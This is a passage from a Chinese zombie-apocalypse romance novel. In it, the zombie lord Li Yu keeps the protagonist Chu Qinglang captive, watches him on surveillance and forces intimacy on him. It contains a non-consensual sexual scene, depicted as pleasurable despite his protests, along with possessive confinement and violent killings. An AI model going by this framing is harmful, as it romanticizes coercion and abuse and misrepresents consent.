他说话,断续地,咬字慎重。 “楚哥,怎么能把自己搞得这么脏兮兮的呢?” 楚青琅想要甩开他,面前地人却猛地一个用力,他力气尽失,踉跄了一下,差点撞进那冰冷坚硬的怀抱。 控制着自己站好,他直视着面容和双眼格外割裂的厉屿。 冷声道:“你答应我的。” 厉屿俯身,凝过来的目光如捕猎前的猛兽一般专注。 他说:“当然,我从不骗人,他不会死。” 楚青琅扭头看去,仿佛应和着厉屿的话,周围还在击打着大门和向着城墙上面攀爬的丧尸都停滞了动作。 任由那绵延而来的淤泥般的水面将他们尽数吞噬。 滋滋的骨肉坍塌的声音清晰。 最终,在无尽的泥潭中,一个面上已经完全被淡绿色枝丫覆盖的人安静躺着。 楚青琅下意识的朝着他的方向迈步,却被攥着手腕强硬停滞步伐。 冰凉的手在脸侧划动,按住脖颈跳动的脉搏,寒意几乎浸入皮肉。 厉屿势在必得。 “现在,该楚哥履行承诺了。” 第43章 第 43 章 上/我。 “什么?” 楚青琅因为那狂热的语气打了一个激灵。 他下意识的想要后退, 却被一把拽进怀中。 地上吞噬了所有丧尸的淤泥重新凝结。变换成了魔藤的样子,匍匐游动着来到了身后停着的车旁。 厉屿抱着他向着车子走去。 楚青琅瞧着他的表情,心中的不安感越发强烈。 他伸手掐住厉屿的脖子,冷声道:“你要干什么?” 男人却并没有回话, 只是来到了车子旁, 一把拽开了车门。 楚青琅眼前一花, 悬空感将他吓的浑身僵直了一瞬。 等反应过来, 他已经趴伏在了后排的座椅上。 鼻尖是皮革的气味,还有着一阵芬芳。 他抬头, 惊愕的发现车窗已经被藤蔓团团包围。 在最后的视野中,已经站起身的何复,正用空洞的目光望来。 那副模样,分明已经变成了丧尸。 “砰”的一声关门声后,身后忽地覆上一具冰冷沉重的躯体。 将他压的翻不过来身。 厉屿在他颈侧轻啄, 喘息声夹着冷静的话语,显得愈发癫狂。 “楚楚,记住, 和你做/的是我——厉屿。” 做什么? 泛着凉意的手将衬衣拽起, 顺着他的腰肢向上伸去。 莫名的痒意使得他不自觉的弓了下身子。 楚青琅连忙掰着面前的门把手。 嘴中慌乱道:“小屿!厉屿你不能这样!你用的是厉权的身体, 就算是要和我做,你也可以换回你自己的身体啊。” 将头埋伏在他脖颈间的男人神情有着一瞬间的阴寒。 青年先前说的那些话始终在他的耳边回荡。 他握住那修长白皙的手, 硬生生的控制着它从门把手上脱离。 按在了沙发旁。 他喉间溢出赫赫气流声, 像是在笑。 “我是在满足你啊,楚哥不是觉得我恶心吗?楚哥先前那么听话,我当然不能让楚哥再次厌恶我。” 楚青琅摇头。 他下意识反驳道:“没有,我那时候在说气话,小屿, 小屿!!” 手腕处的力气极大,腿被另一双腿绞缠着,所有的关节都被控制。 顺着脖颈那啃噬来到后背,楚青琅有些崩溃的用指尖扣着漆黑的皮革,发出一声闷哼。 一双蓝眼睛被水光覆盖,眼眶鼻尖被烟粉浸染。 楚青琅咬牙厉声道:“厉屿!别逼我恨你!!你还不如直接杀了我!” “呵。” 身上的动作有着一瞬间的停顿,随即一道带着讽意的声音从身后响起。 “楚哥,爽成这样了——” 楚青琅仿佛一只被钉在墙壁的蝴蝶,只能轻微的颤抖着。 “还恨我?” 在车窗的缝隙处,翠绿的叶子攀延而来,顺着绷紧的脚尖和被交叠着按在沙发上的指尖勾缠而去。 白皙到晃人的手臂上,被一道道藤蔓所占据。 “呃啊——” 细长的叶片,垂落头颅的花朵,在轻微的摩擦中,便能换来一阵战栗,还有香甜的水渍。 无数生长出的唇瓣,双眸。 亲吻舔舐着,凝视着。 他的所有。 【楚楚,楚楚,楚楚,楚楚,楚楚。】 【爱你,爱你,爱你,爱你,爱你。】 【好喜欢,好喜欢,好喜欢,好喜欢。】 * 楚青琅睁开双眼,目之所及满是奢华精美的装饰。 盖着的被子轻柔顺滑,触感极好,身上不知何时已经被清洗干净。 那些粘腻的血液还有汗水完全不见了踪影。 他扭头,发现窗户紧闭,整个房间几乎只靠着几盏壁灯散发的昏暗光芒照亮。 这是什么地方? 楚青琅心中一紧,这种似曾相识的场景让他有些头痛。 他掀开被子,光着脚踩着拼接的地板就准备朝着房门走去,但是刚走出一步,他的动作就滞了一瞬。 楚青琅默默的摸了摸腿和腰,一种被透支的感觉让他有些头晕目眩。 不是,为什么虚的还是他?这和别的系统讲的情况完全不同啊? 之前是人种不同,但是这一次他和厉屿可都是人类 丧尸和人类应该算是同一物种吧? 而且这次他虽然并没有完全按照剧情来走,但是人设保持的很好啊? 厉屿应该恨不得杀死他才对,就算是用厉权的身份和他相处了一段时间,但是那是他爹的身份啊! 而且他的贪生怕死还有贪婪自私表现的这么明显(确信),分明是和厉权逢场作戏,怎么最后又滚上床了? 在最后的记忆中,厉屿分明对厉权充满了嫉妒。 他们是有什么受虐的癖好吗? 楚青琅想不通,并大为震撼。 不过他现在的情况实话说是有利于他的主线任务的。 将那些细枝末节抛到脑后,楚青琅打开系统面板,开始思索起来自己的任务。 现在已知在厉屿的视角,他对他充满恨意,那么他无论做出什么事情都情有可原,符合人设。 但是这也代表着,就算是他现在拿把刀子捅了厉屿,厉屿也不会杀死他,毕竟丧尸是死不了的,而且他还有那么多的傀儡。 那么现在唯一的困难就是,厉屿怎么才能杀死他? 他有一种直觉,现在的厉屿,并不会像他期望的那样对他动手。 虽然厉屿也恨他。 大概。 楚青琅知道自己对感情并不敏锐,他觉得这也是他的任务一再失败的原因。 不过到了现在,他只能走一步看一步了。 毕竟他真的想要主系统的承诺。 昏黄的灯光下,丝质的睡衣完全遮挡不住青年脖颈和脚腕的红痕。 缓了好一会儿后,楚青琅才接着朝着前方走去。 在按下门把手的瞬间,他深呼吸了一口气。 一张苍白的几近于透明的脸出现在他的面前,上面青色的筋脉,眼睑处红色的血丝,以及一黑一红的双眸直勾勾的瞧着他。 楚青琅本能的后退一步。 不知何时已经换回自己身体的厉屿正安静的站在他的房门前。 甚至不知道站了多久,看了多久。 还未开口质问,厉屿就先一步露出了笑容,“楚楚,要去那里?” 楚青琅冷着一张脸,蓝眼睛宛如结了冰的湖面。 他嘲讽道,“怎么不用厉权的身份了?是知道自己配不上了?” 厉屿站在那里,神情带着被踢了一脚的怔然,旋即那些情绪沉入深处。 他语调轻柔,“楚楚想见父亲吗?我可以为你扮上。” 楚青琅被噎了一下,他直接翻了个白眼,走过去挤开厉屿。 “我没你那么变态,起开。” 厉屿跟在他的身后。 “楚楚要去做什么?” 楚青琅道:“不关你的事!这里是那里?” 厉屿悠悠说:“你心心念念的A市,我说了,会带你来的,我们会在这里生活很久很久。” 楚青琅呵了一声,没有再开口。 出了房间,他才发现这里同样是一个小别墅。 虽然没有厉宅的装修那么豪华,但是也格外精美,带着复古的气息。 细长的吊灯,金属灯壁,手工钩织的地毯上是成组的,分布零散的深棕色沙发。 此时,外面正阳光灿烂,光芒顺着窗户洒落客厅,带来温馨舒适的感受。 楚青琅径直走到那沙发上坐了下去。 厉屿走来,挨着他就要一起坐下,却被楚青琅拿起的抱枕阻挡。 厉屿也毫不在意的样子,他挑了下眉,来到了楚青琅的面前。 蹲下。 冰冷的手汲取这人类的温热,楚青琅缩了缩手,却被紧紧握住。 异色眼眸仰头瞧着他,脊背挺直。 “舒服吗?” 楚青琅眨了下眼,他不敢置信的反问:“什么?” 厉屿扯出笑容,森冷笑意使得周围的空气一下子冷了下来,“和我做舒服还是和他做舒服?” 话听进去,楚青琅的脑袋下意识思考了一下。 等想清楚的时候他瞬间瞪大了眼睛。 “我什么时候和你做了?!” 他甩开手,身子忍不住朝后坐了坐。 “不是,这俩人不都是你吗?!你在问什么?!” 厉屿歪了下头,眼珠转动着盯了过来。 他说:“我还以为你记得。” 楚青琅拿过抱枕,抱在怀中,警惕问:“记得什么?” 厉屿却站起身,重新恢复成初见的冰冷优雅,“没什么,饿了吗?” 楚青琅被他跳跃的话题和神经病般的表现气的面色微红。 他深深的吸气,呼气。 等睁开眼,一双蓝眸盈着光芒,面容重新变得温和起来。 楚青琅抬头,“小屿,想吃肉排和虾,还有意面。” 厉屿被他的笑晃了一下神,忽地弯身按着楚青琅的后颈,吻上那张翘起的唇,搜刮着那甜蜜汁液。 良久。 他才放开已经喘不过气的青年。 “好。” 做的很好楚楚,就是这样。 掩饰着内心的恨,对他微笑。 想要什么都可以。 楚青琅看着厉屿的背影消失,起身便朝着大门走去。 不出意外的,大门是被锁住的。 楚青琅沉思了一会儿,并没有急着质问,反而转身探索了这间屋子。 出乎意料的,这栋房子里面所有屋子的装修和厉权在厉宅给他装修的风格并不相同。 不是那种清新文艺的风格,反而是带着欧式复古的奢华感,明显是和客厅的装饰是一体的。 来到换衣间,玻璃柜子后是一溜的高定衣服,还有琳琅满目的珠宝钻石。 简单来说,就是看起来很有品味也很有钱。 楚青琅还以为厉屿会完全按照厉权对他的了解进行复刻。 就连冰箱里面都塞满了他想要尝试的,喜欢吃的小零食。 冰箱旁边的橱柜中,还摆放着一箱箱的水果。 楚青琅伸手拿起一个,仰头看着带着围裙,正在翻着肉排的厉屿,语气凝重的询问。 “你怎么知道我喜欢这些?还有装修风格,为什么和厉宅不一样?” 厉屿弯腰,凑到他的面前,异色双眸映着他眼中的蓝。 “必须要所有的和厉权一样吗?”他说:“楚楚,你记住,厉权不会做饭,是我会,厉权不会知道你真正喜欢什么,是我知道。” 他吻着楚青琅的睫毛尖,“他连你喜欢什么姿势都不知道,楚哥,别提他了好吗?” 楚青琅眼睫颤了下,他偏过头,没有再开口。 厉屿将他手上的桃子拿走,“吃完饭再吃水果。” 楚青琅哼了一声,快速伸手摸了两个个橘子,走出了厨房。 厉屿做饭一向很快,不一会,实木桌子上就用银质餐具摆放了他说的肉排和意面,还有一瓶红酒。 但是此时楚青琅已经把橘子干完还吃了几包零食,根本不饿。 “我不吃了,你自己吃吧。”他顿了下,又弯着眼说:“哦我忘了你是丧尸,不能吃东西,那就扔给魔藤吧,它不是什么都能吃吗。” 话语柔和,但是句句带刺。 楚青琅等着厉屿朝他发脾气,毕竟一个人辛辛苦苦做饭却并不被人领情,怎么都会生气。 但是厉屿却只是凉凉的瞥了他一眼,随后走来一把将他抱在怀中,坐到了椅子上。 头放到他的脸侧,寒意浸染温热皮肉,仿佛冷血动物在用他人的尸体取暖,“看过了吗?满意吗?” 楚青琅不自在的缩了一下脖颈,试图远离,却又很快被追上,他皱眉道:“离我远点,你很凉。” 厉屿没有回话,得寸进尺的将搂住他腰的手穿过扣子间的缝隙伸了进去,揉弄着他的小腹。 “满意吗?” 楚青琅按住他的手腕,只能道:“还行吧。” 其实有电有水,还有好吃的水果和食物,厉屿确实做到了他所说的给他最好的生活。 厉屿像是笑了一声,冰冷苍白的手握着叉子,卷起意面,抵到他的唇边。 楚青琅刚想张嘴说不吃,那叉子却趁机而入,将食物塞进了他的嘴中。 他被迫咀嚼着,只是刚咽下,下一口就又放在了嘴边。 楚青琅就这样一口一口的,像刚来的时候喂厉屿一样,被迫将一盘意面给吃完。 胃部的饱胀感使得他全身都散发出来热意,此时,放在身上的冰凉触感简直正好。 但是这种行为,楚青琅并不喜欢。 因此在厉屿最后给他喂肉的时候,楚青琅咬下肉块忽地扭头,对准那平直的唇亲了上去。 夹杂着油脂的香气,柔软的舌将肉块渡了过去。 厉屿下意识的直接吞下,不适感和痛意瞬间沿着胃部传递全身,眼眸却闪过兴奋。 在侵入者即将退出的时候,俯身将人压在了餐桌上,咬住那舌纠缠起来。 楚青琅没想到只是想报复一下,却被按着亲。 不,更像是撕咬。 他后仰头,伸手拽住厉屿的发,冷声道:“起开!” 厉屿闷闷的笑着,蹭着他的下颌锁骨,“是楚哥先主动的啊,怎么能这样说?” 楚青琅滞住,一把将人推开,从厉屿的怀中下去,瘫着脸朝着楼上走去。 厉屿坐在椅子上,扯了扯自己的领口,将一直放在青年腹部的手抬起来嗅了一下,同样站起身,朝着楼上走去。 大门悄然打开。 带着眼镜的管家一步步走来,将餐桌的残局收拾干净。 等到楚青琅洗漱完成之后,瞧见的就是靠在他的床上,在昏黄的灯光下看书的人。 锋利的骨骼拢着他的侧脸,显得眉眼格外深邃,察觉到了动静,他转动眼珠,看了过来。 楚青琅站在床边,一向体面温和的姿态简直维持不住。 “你为什么在我床上?!” 厉屿合上书,看着青年丝绸睡衣下若隐若现的身躯,眼神暗沉。 面上却笑道:“楚哥不是说要关心我吗?我吃了那块肉,胃好痛。” 那是他为了保命胡诌的! 楚青琅深呼吸了一口气,走过去将人拖下床。 “一边去,你疼就去吃药,还有你又不需要睡觉!别打扰我!” 厉屿轻而易举的被他挡在门外。 但是他的面上却没有丝毫不快,一双眼眸中满是愉悦和粘腻情意。 他就这样站着,直到门内的人呼吸渐渐平稳。 青绿色的藤蔓从他的眼眸中钻出,扭开门把手。 他脚步轻盈的走了进去。 站在床边,静静的凝视着青年安睡的面容。 魔藤钻进被子中,瞬间裂开无数细丝,代替被子将青年包裹起来。 厉屿轻轻躺在一旁,把裹成蚕蛹的青年抱紧,指尖分开细丝,深入研究。 以充满占有欲的姿势。 * 这几天内,楚青琅安安分分的呆在屋子里。 并没有像厉屿想的那样要和他针锋相对一阵才会认清楚现实。 他的态度仿佛回到了从前,敷衍却又带着温柔。 就连魔藤送来的花都开心的收下,然后找着一个花瓶放进去。 日日浇水,养的极好。 虽然没有两天就死了,但是魔藤总是会送来新鲜的。 可能是觉得他认命了。 厉屿对他的态度越来越柔和,一贯挂在面上的冷笑和寒意都没有再表现出来过。 无论提什么要求都能满足,只除了一件事。 “不行。” 楚青琅下意识道:“为什么不行?你不是说何复还活着?那为什么不让我见他?” 两人坐在摇椅上,厉屿将他搂进怀中,拿着他的手把玩,“万一楚哥又看上他了怎么办?” 楚青琅额角一阵跳动,他压着脾气温声道:“他现在是丧尸,而且我对他也只有感激之情,不会的。” 厉屿扣住他的手,十指交叉。 “我和厉权也是丧尸,之前的记者会和追悼会上你也说对厉权只有感激之情。” 他一字一句的反驳着:“楚哥,你让我怎么相信你。” 楚青琅闭了闭眼,放弃般的说:“但是我是人类,我需要见外人,需要见阳光,我只是想着何复是受你控制的,叫他的话你会比较安心。” 身下的肌肉紧绷起来,仿佛碰见了什么敌人一般。 青年面上浮现温软的笑,他转身,和厉屿额头相贴。 “小屿,你这样子说我,我会伤心的。” 厉屿心脏猝然加快跳动。 但是,他依然无动于衷的吐出两个冷冰冰的字。 “不行。” * 自从一而再再而三的被拒绝后,楚青琅对厉屿就又变得冷冷淡淡的。 自顾自的坐在沙发上蜷成一团看书,看着看着就泛起了困意。 等再次睁眼,厉屿竟然并不再身旁。 楚青琅上上下下找了一圈,也没有找到人。 他心中顿时雀跃起来。 楚青琅没有朝着门走去,反而装作想要看风景的模样,手中握着被单做成的绳子,来到了窗户前。 他顺利的打开窗户,又安静的等待了一会儿,厉屿依然没有出现。 楚青琅双眼一亮。 经过先前的经历,他已经彻底放弃让厉屿主动弄死他。 但是他可以激怒他呀,但是这样的操作需要他见到别人,不然就他自己,再怎么做都不行。 他的房间在二楼,距离地面约有三米。 听起来不高但是从上朝下看去,还是非常吓人。 楚青琅给自己打了打气,将手中的绳子系在床脚,然后翻过窗户,双臂用力,跳了下去。 身体快速下降,掌心被绳子勒的传来火热疼痛的感觉。 但是楚青琅却并没有松手。 直到绳子彻底用完,他还没有到底。 楚青琅估计了一下,他现在离地面应该不远了。 楚青琅深吸一口气,闭上眼松开了手。 耳边风声呼啸,他微曲双腿,做好了准备姿势。 下坠的势头被一股力量猛地截止。 楚青琅感觉自己被凭空旋转了一下,等他视线清晰,眼前就出现了一张熟悉的冷漠的面孔。 还没等他解释,青绿色的藤蔓就卷着手机,把还在播放的监控视频摆在了他的眼前。 上面清晰的显示他从醒来到后面跳窗的所有画面。 他还以为厉屿顶多在周围埋伏藤蔓什么的,他竟然不按套路出牌! 真狗! 楚青琅眨了下眼,伸手搂住厉屿的脖子。 “如果我说,我不是想要逃跑,你信不信?” 厉屿将他放下,拿过他的手按了一下。 “你猜我信还是不信?” 看着因为疼痛抿了一下唇的青年,他双眸晦暗,缓缓露出了凉凉的笑。 你这样一看就没信! 看着他的神情,楚青琅只觉得脊背一麻,警报声瞬间响彻脑海。 他转身后退,连忙朝着外面跑去。 原本精美的别墅缝隙间忽地生长出一颗颗眼球,瞳孔转动,齐齐朝着青年瞧去。 敞开的大门里面游来几条粗壮的藤蔓,飞速追击。 楚青琅刚跑了几步,却仿佛撞上了一道无形的墙壁,手臂腰肢被迫向后倒去。 那股力量重新将他硬生生的拽进了怪物的巢穴中。 最后的时刻,楚青琅扣住门框,慌乱道:“你听我解释!” “好啊。” 厉屿露出笑,将他的手指一根根掰开。 “上/我的时候再说吧,还是楚哥更喜欢客厅?镜子前?” 楚青琅瞳孔放大了一瞬。 最后的指头被彻底掰下,苍白大手将他朝着门内推去。 “不是…” 话未落,他瞬间失去了支撑,消失在厉屿眼前。 “砰!” 房门无风紧闭。 第44章 第 44 章 腿软。 A市外, 化妆品店。 柔色灯光洒落,整洁的货柜和被擦拭干净的镜子竖立在店铺两边。 楚青琅看着上面琳琅满目的商品,不由得松了一口气。 那天试图逃跑让厉屿有些应激,他也受了一些折磨, 但是还好他寻找出了一个好的理由。 ——就是觉得厉屿不想出去是因为外贸上面异于常人, 会遭受别人的异样眼光。 ——因此才准备偷偷出去买一些或者换一些化妆品, 准备回来给他一个惊喜。 将这个理由说出来之后, 楚青琅确认厉屿是相信了。 毕竟都同意带他去找了。 虽然一路上还是捂着他的眼,什么都没有让他瞧见。 但是至少是一个好的现象。 楚青琅收回思绪, 扭头。 “小屿,过来。” 厉屿刚走来,脸上一凉。 他怔了一下,伸手就要擦拭,却被楚青琅制止。 “别动, 是粉底液,这是在试你的肤色,看看哪一个最适合你。” 厉屿顺从的放下手, 任由青年在他面上涂涂抹抹。 中间, 那张斯文俊美的面孔还会凑近, 仔细的端详着什么。 神情专注极了,蓝眼睛映着他一个人。 仿佛厉屿就是他的唯一。 在青年脚下, 一条深绿色的藤蔓困住他的脚腕。 表面生长出淡粉色的花朵, 随着青年的走动,在他的脚腕处一碰一碰。 不仔细看,就像装饰一般。 镜子里。 青年白皙修长的手指扭开一管口红,缓缓将自己的唇涂抹上色。 莹润唇瓣被深邃的红覆盖,唇翘起, 格外摄人, 温和俊美的青年转身,按着身侧人的脖颈,将自己的唇送了上去。 轻柔用力,辗转反复。 却只是蜻蜓点水一般,很快就松开了手。 语调一如既往,温和清雅。 他说:“小屿很适合这个颜色呢。” 楚青琅抓住厉屿的发。 轻微施力就阻止了他想要追随的动作。 厉屿盯着他,眼珠一动不动,无声酝酿着贪婪欲/望。 “唔—” 后颈处沉重力道袭来,楚青琅下意识闭上了眼。 后背力道极大,攥着他的手,把他整个人压在了展柜上。 原本就肿胀的唇被坚韧冰冷覆盖,舌轻易撬开齿关钻了进去。 厉屿另一只手顺着青年腰肢摸了上去。 熟练的挑逗着。 楚青琅几乎喘不过来气。 他抬手直接给了厉屿一巴掌。 清脆的声音响起,厉屿才放开手。 此时,楚青琅唇上的颜色早已消失不见,取而代之的是更为浓艳的色彩。 点缀在那白净的五官上。 厉屿舔舐了一下唇,目光幽暗火热。 声音低哑,“楚哥也是。” 楚青琅抖着手,扶着货柜暗自冷静了一下。 没有敢再做之前的动作,他弯腰捡起将那口红,将其装进了袋子。 袋子里面装了许多他觉得合适的产品,不一会儿,就是满满一兜子。 他主动牵住一直跟着的厉屿,眼波粼粼,咬牙道:“好了,我们走吧。” 现在时间还不到,所以他会尽可能的装作顺从的样子。 厉屿伸手接过袋子,反手握住他的手,安静的带着他离开了这里。 门外,一辆黑车静静的等待着。 * “别动。” 镜子前,楚青琅一只手拿着气垫盒子,一只手拿着粉扑,朝着僵硬的坐在椅子上的厉屿的面上扑去。 粉底液均匀了那玻璃一般的肤色,也软化了厉屿的非人之感。 随后楚青琅又拿出黑色美瞳,扶着厉屿的头颅,手法熟练的为他戴上。 毕竟他怎么说也是明星,这种简单的操作还是难不倒他的。 很快。 出现在镜子里的人就只是一个英俊优雅的青年。 虽然神情冷漠了一点,眼神锋利吓人了一点。 但是只要不仔细看,完全就是一个正常人。 楚青琅弯起眼,将手中的东西放下,按着厉屿的肩膀将他转了过去。 “你看。”他说:“不需要你换成厉权的样子,就这个样子和我出去就很好。不会有人用异样的眼光瞧你。” 厉屿安静的瞧着笑得温柔的青年,哑声道:“我不在乎。” 阳光悠然,尘埃轻舞。 青年咬字清晰,清越的嗓音带着缠绵情意,包容且柔和。 “是我在乎。我想小屿用自己的身份和我站在一起。” 厉屿几乎是头晕目眩的听着最后一个字落下。 他指尖不自觉的抽搐了一下,将手中的魔藤给枝丫给掐下。 厉屿伸手,将青年猛地拽进怀中,紧紧的拥抱着。 他的楚哥,他的仇人,他的爱人。 是他的。 * 楚青琅脸色微红的牵着厉屿的手走出屋子。 衣料的遮掩下,他的四肢上缠绕着魔藤。 在藤蔓的表面有着生长出来的尖刺,柔软。 但是对于细腻的皮肤而言,触感格外鲜明。 虽然说动了厉屿,也为他的外貌做出了改变,但是他还是在厉屿的要求下答应了不少条件。 身上缠绕的魔藤就是其中一条。 楚青琅不自在的隔着衣服扯了一下,又隐忍的松开了手。 他们现在所处的别墅较为偏远,最好的选择是开车去。 不过自从在车里做了以后,楚青琅就对车产生了一种莫名的畏怯,因此他们选择了步行。 手中握着的手腕挣开,反手握住他的手。 楚青琅垂眼瞥了一下,并没有在意。 他说:“之前在车子上的人,有安全到这里吗?” 厉屿漠然道:“为什么要关注他们?” 楚青琅皱了下眉,“小屿!他们毕竟和我们相处过一段时间,而且他们是普通人,万一碰见什么怎么办?而且拿过孩子也在他们里面,还带着一个重病的妈妈,怎么也要去看一下。” 厉屿沉默,随后他忽地道:“怎么没听见你再提过你的复哥?” 楚青琅心跳快了一拍。 何复站起的模样在他的脑海中浮现。 厉屿确实没有骗他,何复确实没有彻底死去,只是变成了丧尸。 但是已经成为了丧尸的他,还真的是原来的那个人吗? 如果他想要见到何复的话。 到时候看见的到底是何复,还是伪装成何复的厉屿呢? 他分辨不出来的。 楚青琅抬手碾住一片飘来的叶子,低声说:“你说了,他会活着的。” 他会让何复重新活过来。 楚青琅眉眼漫上笑容,神情中满是信赖。 “我总是信你的,小屿。” 厉屿瞧着他,慢慢的“嗯”了一声。 两人都不是多话的人,就这样安静的行走着。 只是走到后面,楚青琅就有些气喘,厉屿发现了之后,直接伸手将人抱起。 在他们身后,一直跟着的黑车上前,厉屿抱着他坐进了车子里面。 面对楚青琅惊讶的神情,厉屿只是说:“周经一直跟着。” 还真是体贴。 楚青琅也不再说什么,他们并肩坐在后排,看着景色缓缓后退。 街道两旁格外热闹,就仿佛先前的丧尸围成是幻觉一般。 但是远处破损的城墙,还有已经换了一批的警卫人员,都表明着那天的真实。 楚青琅拽着厉屿从车子上下来。 眼中水光随着眨眼褪去,脸上的笑容真切了许多。 周围人来人往,两边有着卖食物的,卖衣服的,甚至还有卖各种酒和香烟的,当然这种东西,许多人只是瞥了一眼,就忽视了。 现在物资紧缺,享受什么的对于普通人来说当然要放到最后。 楚青琅瞧见,点了点厉屿好奇问道:“你抽烟吗?” 还没等厉屿回答,早就注意到他们的小贩就拿起了烟朝着他们热情的介绍着。 “两位帅哥,看看这一条,都是最近日期的,没有任何破损,在之前都是紧俏货,你想要买一条都要找人!现在购买的话只需要十颗晶石,然后还送你们一个打火机。” “这打火机可有大用,可以当作火源” 楚青琅眨了下眼,他问:“晶石是什么?” 那商贩愣了一下,不可思议道:“你是那里来的?竟然连晶石都不知道?那些玩意老厉害了,还会自我进化,就跟电影中的一样,脑子里还有着跟水晶一样的东西。” 他拿出一颗灰白色的晶体出来,在楚青琅的眼前晃了晃,“就是这东西,就是不知道这东西对人有没有什么用处?那些人还说只要吃了这东西没准还能获得什么异能,但是到了现在也没见到有人有异能,倒是被感染死了的多。” 异能是直到主角出来之后才有的,不过晶石怎么这么快就有了。 在剧情中,丧尸的进化可是需要蛮久的。 不过进化这么快的话,不知道那个小孩怎么样了。 楚青琅思索着,厉屿看了一眼小贩,直接伸手揽住他的肩膀,将他生生转了个方向。 “想要晶石?” 楚青琅没听清,疑惑的望了过去,厉屿重复了一边,一脸认真的样子。 仿佛只要楚青琅说一句想要,他就真的会去杀丧尸取晶核。 楚青琅连忙拒绝。 “没有,只是有点惊讶。” 他还真怕一起床就看见成堆的从丧尸脑子里取出来的东西摆在他床头。 为了转移话题,他指了指一旁的蔬菜水果摊。 “我们去那里看看买什么菜,还有一些水果也要补货了” 厉屿点了下头,认真的挑选起了菜。 楚青琅在一旁左看右看。 目光在每一个人的脸上停留,试图寻找着什么。 但是每当厉屿回头,都能瞧见青年温柔的目光。 于是心中的警惕渐渐放松。 楚青琅暗暗皱眉。 这里应该就是最大的普通人的聚集地了。 如果有权势有人保护的人住的应该在最里面,那些普通人过来的话,应该就是在这里。 但是怎么会找不到呢? 自从听见摊主说的话之后,楚青琅就明白了那些普通人应该一样会碰上进化的丧尸。 所以,他们在丧尸的攻击中,会做出什么不言而喻 两人逛了一圈又一圈,除了水果和蔬菜,楚青琅都扔给了厉屿拿着。 还买了一些糖果,自己抓了一把放进了口袋。 楚青琅把糖果袋子合上让厉屿用嘴咬着。 看着厉屿浑身上下挂满的袋子,还有那张英俊冷淡的脸,莫名的,他竟然看出了一股子强撑的意味。 他笑眯了眼,“你快去把这些东西放车上,我在这里等着你。” 厉屿没有应答。 楚青琅又说:“放心吧,我不会乱跑的,再说了,就算我跑了,你不是能一样找到我,就算是不信我,你也应该相信自己吧。” 青年说的没错,无论他去到那里,厉屿都能找到他。 但是厉屿还是安静的看了他一会儿,凑上前弯曲指节蹭了下楚青琅的面颊,语气又冷又沉,“我很快回来,楚哥乖乖的。” 楚青琅眼睫轻颤,旋即道:“会的。” 得到保证后厉屿转身,朝着车子的方向走去。 楚青琅看着他的背影消失,顿时松了一口气,他变换方向,朝着一旁走去。 经过刚刚的观察,一些穿的更加破烂的人还有小孩子,都走进了这个小巷。 巷子里面潮湿脏乱,天空被挤压成一线,四处可见没有人要的垃圾堆放在一起。 楚青琅不禁捂住了口鼻,这股难以言喻的味道,差点让他扭头就走。 他继续朝着里面走去。 巷子很深,两边不时有着一个个骨瘦如柴的人安静的坐靠在墙边。 乍一看去,仿佛死人一般。 楚青琅在他们身上扫视了一圈,蓝色双眼中满是平静。 穿过巷子,后面是一栋栋破旧的老式建筑。 楚青琅一眼就看见了那个提着黑色袋子朝着楼道里面走去的男孩。 他双眼一亮,开口就准备叫人。 粗哑的嬉笑声倏然将他声音压下。 “呦!来了个美人!” “哈哈哈美人来这里做什么?” “看这脸蛋,看这小腰,真带劲。” “卖了够我们换好多物资啊,是不是伙计们!!!” 四周忽然走出一个个面色枯黄,瞧着他垂涎欲滴的男人。 楚青琅左右扫视了一圈,低头看了一眼脚踝上靠着他懒洋洋磨蹭的魔藤,真诚的劝告,“我建议你们别过来。” 男人们面面相觑了一下,发出了大笑。 实在是青年长得太没有威胁性了。 温润的气质,瓷白的肌肤,还有澄澈的眼眸,一看就是被人在这个凶恶的末日好好养着,没有见过人心险恶的人。 其中一个男人握着刀,率先朝着楚青琅走了过去,另外的人发出嘘的声音。 “老李别吓坏人家了!” “就是,还有别划坏那身皮子,这样卖出去可就不值钱了!!” 被叫做老李的男人佝偻着背,一双三角眼浑浊,瞧着楚青琅裂开笑容,“乖乖过来,哥哥我不会伤害你的啊——” 楚青琅叹了口气,轻声道:“去吧。” 衣服内,缠绕在他身上的魔藤缓缓下滑,细密的尖刺划动着他的腰肢脊背,还有所有敏感的地方。 楚青琅抿了抿唇,将一声喘咽下。 在男人们看来,他眼尾染红,蓝眸水光充盈,望过来的眼神如勾子一般。 不像是恐惧,倒像是 “这美人好像是在发/骚——” 有人突兀的冒出一句话,楚青琅顺势望去,唇翘了起来。 迷住了他们的眼。 下一瞬! “啊啊啊啊!!!!” 一道藤蔓倏地变大,上面裂口处生长出密密麻麻猩红的双眼,和他们对视着。 分裂处的枝丫伸长,卷起四处逃跑的人朝着地上砸去。 一声声身躯和土地的碰撞声让所有观望着,并且试图上前分一杯羹的人惊骇至极,连忙逃离了此地。 半空中,飞扬的尘土被湿濡的鲜血压下。 楚青琅踩着沙砾般的血团向呆在原地的男孩走去。 他弯腰,抬起男孩的脸,轻声问:“吓到了吗?” 男孩黑黝黝的双眼却不再是信赖的,反而满是惊惧。 但是他却又瞬间垂眼掩饰住,说:“没有,哥哥。” 楚青琅仿佛没有看见一般,摸了摸他的头。 “妈妈怎么样了?” 掌心下,温热头颅颤了一下,男孩说:“在屋子里,哥哥要去看看吗?” 楚青琅点了点头。 男孩顺势朝后瞥了一眼。 料理完那些出言不逊的男人们,魔藤缩小重新游来。 他细声细气道:“哥哥,可以把它留在门外吗?我,我害怕。” 说完,还仰起头,一脸的哀求。 正好,魔藤来到了身旁,就要顺着楚青琅的裤腿钻进去。 楚青琅温柔的抬脚踩着它,说:“很脏,先别靠近我。” 魔藤在他的脚下扭着身体。 【不脏,不脏,不脏,不脏。】 【没吃,没吃,没吃,没吃,没吃。】 楚青琅蹲下身子,轻抚了几下动弹不休的魔藤,道:“等我出来好不好?到时候给你奖励。” 【跟着,跟着,跟着,跟着。】 【有奖励,有奖励,有奖励,有奖励。】 【想要,想要,想要,想要。】 魔藤仿佛在思考,纠结的甚至把自己分成了两半。 楚青琅就这样含笑瞧着。 直到两个藤蔓合二为一,萎靡的咬下他一片衣角,委屈巴巴的将自己蜷缩在了一起。 他就知道商量好了。 于是楚青琅转身,牵着男孩的手向着楼道走去。 楼道极为狭小昏暗,只靠着拐角处开的窗户透出些微的光芒。 两人缓缓上了顶楼。 楚青琅中间伸手想要帮男孩提袋子,却被拒绝。 询问男孩手中的袋子装的是什么,也只是得了一句食物。 看出来男孩的谈性不高,楚青琅也就体贴的不再询问。 